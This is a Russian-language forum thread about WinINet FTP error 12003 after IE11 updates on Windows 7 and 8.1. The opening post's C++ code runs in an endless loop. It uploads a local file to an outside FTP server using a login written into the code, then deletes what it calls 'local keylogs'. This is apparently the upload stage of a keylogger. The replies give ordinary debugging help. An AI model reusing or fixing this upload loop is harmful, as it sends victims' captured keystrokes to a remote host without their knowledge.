Ошибка файловой системы 12003 ftp

Кто сейчас на конференции

Сейчас этот форум просматривают: нет зарегистрированных пользователей и 0 гостей

Я исследовал эту проблему в течение последних 3 дней, по 8-10 часов в день. Я пытался сделать много других способов загрузки файлов, я пробовал другие библиотеки и т. Д. Но я ничего не могу понять.

Он работает на 100% в последней версии Windows 8.1, но когда я тестирую его в Windows 7 или более ранней версии, я получаю ошибку 12003 при использовании FtpPutFile.

Любая другая функция WinINet FTP работает на всех версиях Windows, кроме FtpPutFile.

Я гуглил эту тему как минимум в течение 24 часов. (В прямом смысле)

У меня было много разных теорий, я проверил их все, и ничего не получалось.

Я подумал, может быть, это разбор имени файла / папки. Так что я возился с этим, нет. Не сработало

Я подумал, может быть, это проблема с брандмауэром, я запустился от имени администратора и отключил брандмауэр, нет.

Я пробовал множество других вещей .. Ничего не помогло.

Вот мой код Я использую Visual Studio Express 2013.

#include "stdafx.h"using namespace std;
#include <iostream>
#include <istream>
#include <windows.h>
#include <winuser.h>
#include <string>
#include <stdio.h>
#include <ctype.h>
#include <conio.h>
#include <time.h>
#include <wininet.h>
#include <fstream>
#include <direct.h>
#include <tchar.h>
#include <ctime>
#include <sstream>
#pragma comment (lib, "urlmon")
#pragma comment(lib, "Wininet")

void main(){
while (1){
void send();
send();
Sleep(10000);
}
}

void send(){
void FileSubmit();
FileSubmit();
}

void FileSubmit()
{
bool folderExists(string str);
cout << "Sending file..." << endl;
HINTERNET hInternet;
HINTERNET hFtpSession;
hInternet = InternetOpen(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
if (hInternet == NULL)
{
cout << "Error: " << GetLastError() << endl;
cout << InternetGetLastResponseInfo << endl;
}
else
{
hFtpSession = InternetConnect(hInternet, "cloud9ips.com", INTERNET_DEFAULT_FTP_PORT, "ftptest@cloud9ips.com", "Pass123", INTERNET_SERVICE_FTP, 0, 0);
if (hFtpSession == NULL)
{
cout << "Error: " << GetLastError() << endl;
cout << InternetGetLastResponseInfo << endl;
}
else
{
string folder_path = "/testfolder/";
string file_name = "testfile.txt";
cout << "file_name: " << file_name << endl;
cout << "folder_path: " << folder_path << endl;
if (!folderExists(folder_path)){
if (FtpCreateDirectory(hFtpSession, folder_path.c_str())){
cout << "Created folder for IP " + folder_path << endl;
}
else {
cout << "Error creating folder " + folder_path << endl;
}
}
else {
cout << "Folder already exists" << endl;
}
BOOL SetDir = FtpSetCurrentDirectory(hFtpSession, folder_path.c_str());
if (SetDir){
cout << "Set directory to " << folder_path << endl;
}
else {
cout << "Failed to set directory to " << folder_path << endl;
}
BOOL Rename = FtpRenameFile(hFtpSession, "testfile.txt", "new.txt");
if (Rename){
cout << "Successfully renamed testfile.txt to new.txt" << endl;
}
else {
cout << "Failed to rename file" << endl;
}
BOOL Transfer = FtpPutFile(hFtpSession, "C://folder/file.txt", file_name.c_str(), FTP_TRANSFER_TYPE_BINARY, 0);
if (!Transfer)
{
cout << "Failed to send file." << endl;
cout << "Error: " << GetLastError() << endl;
cout << "Response Info: " << InternetGetLastResponseInfo << endl;
}
else {
cout << "Successfully sent file." << endl;
}
cout << "Closing FTP Session" << endl;
InternetCloseHandle(hFtpSession); // Close hFtpSession
}
}
cout << "Closing connection" << endl;
InternetCloseHandle(hInternet); // Close hInternet
cout << "Removing local keylogs..." << endl;
remove("C://system/sys.txt");
cout << "Done!" << endl;
}

bool folderExists(string folder){
IStream* pStream = NULL;
string url = "http://cloud9ips.com/ftpadmin/" + folder + "/";
URLOpenBlockingStream(0, url.c_str(), &pStream, 0, 0);
if (!pStream)
return false;
pStream->Release();
return true;
}

Я делаю что-то неправильно?

Я включил информацию об учетной записи FTP внутри кода, так что вы можете проверить ее, если хотите.

Я посмотрел все, я не могу понять это ..

Если бы вы могли помочь, я был бы очень признателен.

Спасибо, Алекс Бенуа.

0

Это ошибка пути, а не из-за INTERNET_FLAG_PASSIVE флаг.

Мое решение ниже:

pFtpConnection->SetCurrentDirectory(yourpath);

Если путь yourpath не существует, сначала создайте путь;
затем

pFtpConnection->PutFile(localFullFileName,sRemoteFile);

0

У нас есть фрагмент кода для загрузки / выгрузки и вывода списка файлов на ftp-сервере. Он использует WinInet для обработки команд FTP. Работает нормально уже несколько лет. Однако в Windows 8.1 и в Windows 7 с IE 11 один и тот же код иногда возвращает ошибку 12003. В журналах ftp-сервера ошибок нет.

Простая функция используется для проверки наличия ошибок в FTP-ответе

bool IsLastErrorReallyAnError()
{
 int err = GetLastError();

 bool isError = true;

 if (err == ERROR_INTERNET_EXTENDED_ERROR)
 {
     isError = false;
     DWORD error, size = 0;
    ::InternetGetLastResponseInfo(&error, NULL, &size);
    std::vector<wchar_t> response(size+1);
    ::InternetGetLastResponseInfo(&error, &response[0], &size);

    utils::trace("Backup", "Checking FTP respose", &response[0]);

    std::vector<std::wstring> lines;
    boost::split(lines, std::wstring(&response[0]), boost::is_any_of(L"n"));

    for (auto it = lines.cbegin(); it != lines.cend(); ++it)
    {
        // If some response starts with 5хх then it is real error
        if (boost::starts_with(*it,L"5"))
        {
            utils::trace("Backup", "Real FTP error", &((*it)[0]));
            isError = true;
            break;
        }
    }

    if (!isError)
    {
        utils::trace("Backup", "Checking FTP respose ", L"false error!");
    }
 }

 return isError;
}

И в логах нашей программы получаем

05:56:43.680    0x21c   ERR CFtpFileSystem  CFtpFileSystem::TryOpenBinaryFile: FtpOpenFileW error 12003
05:56:43.680    0x21c   INF Backup  Checking FTP respose: 226 Transfer OK
200 Type set to I

05:56:43.680    0x21c   INF Backup  Checking FTP respose : false error!

В журналах FTP-сервера (у него другой часовой пояс):

(000445)30.10.2013 16:56:23 - (not logged in) (10.16.83.3)> Connected, sending welcome message...
(000445)30.10.2013 16:56:23 - (not logged in) (10.16.83.3)> 220-FileZilla Server version 0.9.41 beta
(000445)30.10.2013 16:56:23 - (not logged in) (10.16.83.3)> 220-written by Tim Kosse (Tim.Kosse@gmx.de)
(000445)30.10.2013 16:56:23 - (not logged in) (10.16.83.3)> 220 Please visit http://sourceforge.net/projects/filezilla/
(000445)30.10.2013 16:56:29 - (not logged in) (10.16.83.3)> USER test
(000445)30.10.2013 16:56:29 - (not logged in) (10.16.83.3)> 331 Password required for test
(000445)30.10.2013 16:56:35 - (not logged in) (10.16.83.3)> PASS ****
(000445)30.10.2013 16:56:35 - test (10.16.83.3)> 230 Logged on
(000445)30.10.2013 16:56:43 - test (10.16.83.3)> TYPE I
(000445)30.10.2013 16:56:43 - test (10.16.83.3)> 200 Type set to I
(000445)30.10.2013 16:56:43 - test (10.16.83.3)> PASV
(000445)30.10.2013 16:56:43 - test (10.16.83.3)> 227 Entering Passive Mode (10,16,82,191,238,169)
(000445)30.10.2013 16:56:43 - test (10.16.83.3)> STOR /srv-test/0f0c04cc-c323-4bb6-a814-696fbbd695c3/527101B9/ab42ed5a-7df0-4421-a03c-d9f75891dcbf
(000445)30.10.2013 16:56:43 - test (10.16.83.3)> 150 Connection accepted
(000445)30.10.2013 16:56:43 - test (10.16.83.3)> 226 Transfer OK
(000445)30.10.2013 16:56:43 - test (10.16.83.3)> TYPE I
(000445)30.10.2013 16:56:43 - test (10.16.83.3)> 200 Type set to I
(000445)30.10.2013 16:56:43 - test (10.16.83.3)> PASV
(000445)30.10.2013 16:56:43 - test (10.16.83.3)> 227 Entering Passive Mode (10,16,82,191,238,170)
(000445)30.10.2013 16:56:56 - test (10.16.83.3)> disconnected.

Есть идеи, как настроить версию wininet, которая поставляется с IE11, чтобы избавиться от таких ошибок?

К сожалению, это не проблема в вашем коде.

Это один из немногих случаев, когда вы действительно попадаете в совершенно новую, но серьезную проблему в обновленном WinInet, включенном в только что выпущенный IE 11. Он нарушит работу большинства FTP-приложений, использующих классы FTP от Microsoft для пользователей Win 7/8, которые обновляются. . Я рекомендую вам добавить себя в этот отчет об ошибке: https://connect.microsoft .com / IE / feedback / details / 808279 / ftpopenfile-and-internetwritefile-broken-changed-in-ie11. мы надеемся привнести в Microsoft некоторую срочность.

Подробности

Основная проблема, по-видимому, заключается в любом взаимодействии с FTP, когда WinInet зависит от конкретных ответов сервера. Он будет работать ПЕРВЫЙ раз в сеансе FTP, но после этого WinInet всегда отстает от одного ответа — таким образом, он никогда не видит правильные коды ответа, необходимые для обработки последующих запросов.

Пример

STOR в режиме PASV требует, чтобы WinInet проанализировал ответ сервера для открытого порта данных. При использовании FtpOpenFile () вторая загрузка завершится ошибкой (хотя кажется, что FtpPutFile работает, и возможен режим PORT).

Сопутствующие проблемы

Также есть сообщения о каких-либо более серьезных сбоях, чем самый первый сбой FtpRename — потому что после фрагмента RNFR WinInet ожидает определенного ответа перед отправкой фрагмента RNTO. Когда WinInet отстает, он никогда не увидит ПРЕДЫДУЩИЙ код ответа сервера, никогда не увидит код ответа сервера, которого он ожидает (хотя трассировки подтверждают, что сервер действительно его отправил).

Как воспроизвести

Это можно наблюдать с помощью InternetGetLastResponseInfo () после каждого вызова FTP API. После первой загрузки PASV с использованием FtpOpenFile () или первого Rename все последующие вызовы FTP API будут отображать ответ сервера на ПРЕДЫДУЩИЙ вызов FTP API.

(PS: я думал, что указал на эту ошибку вчера — нет никакого смысла пытаться «исправить» свой код, когда проблема связана с другими причинами. Но каким-то образом информация исчезает на следующий день. Надеюсь, люди найдут информацию на других сайтах, использующих Google.)

Я решил эту проблему, динамически загрузив старую версию библиотеки DLL, которую я нашел в папке SxS.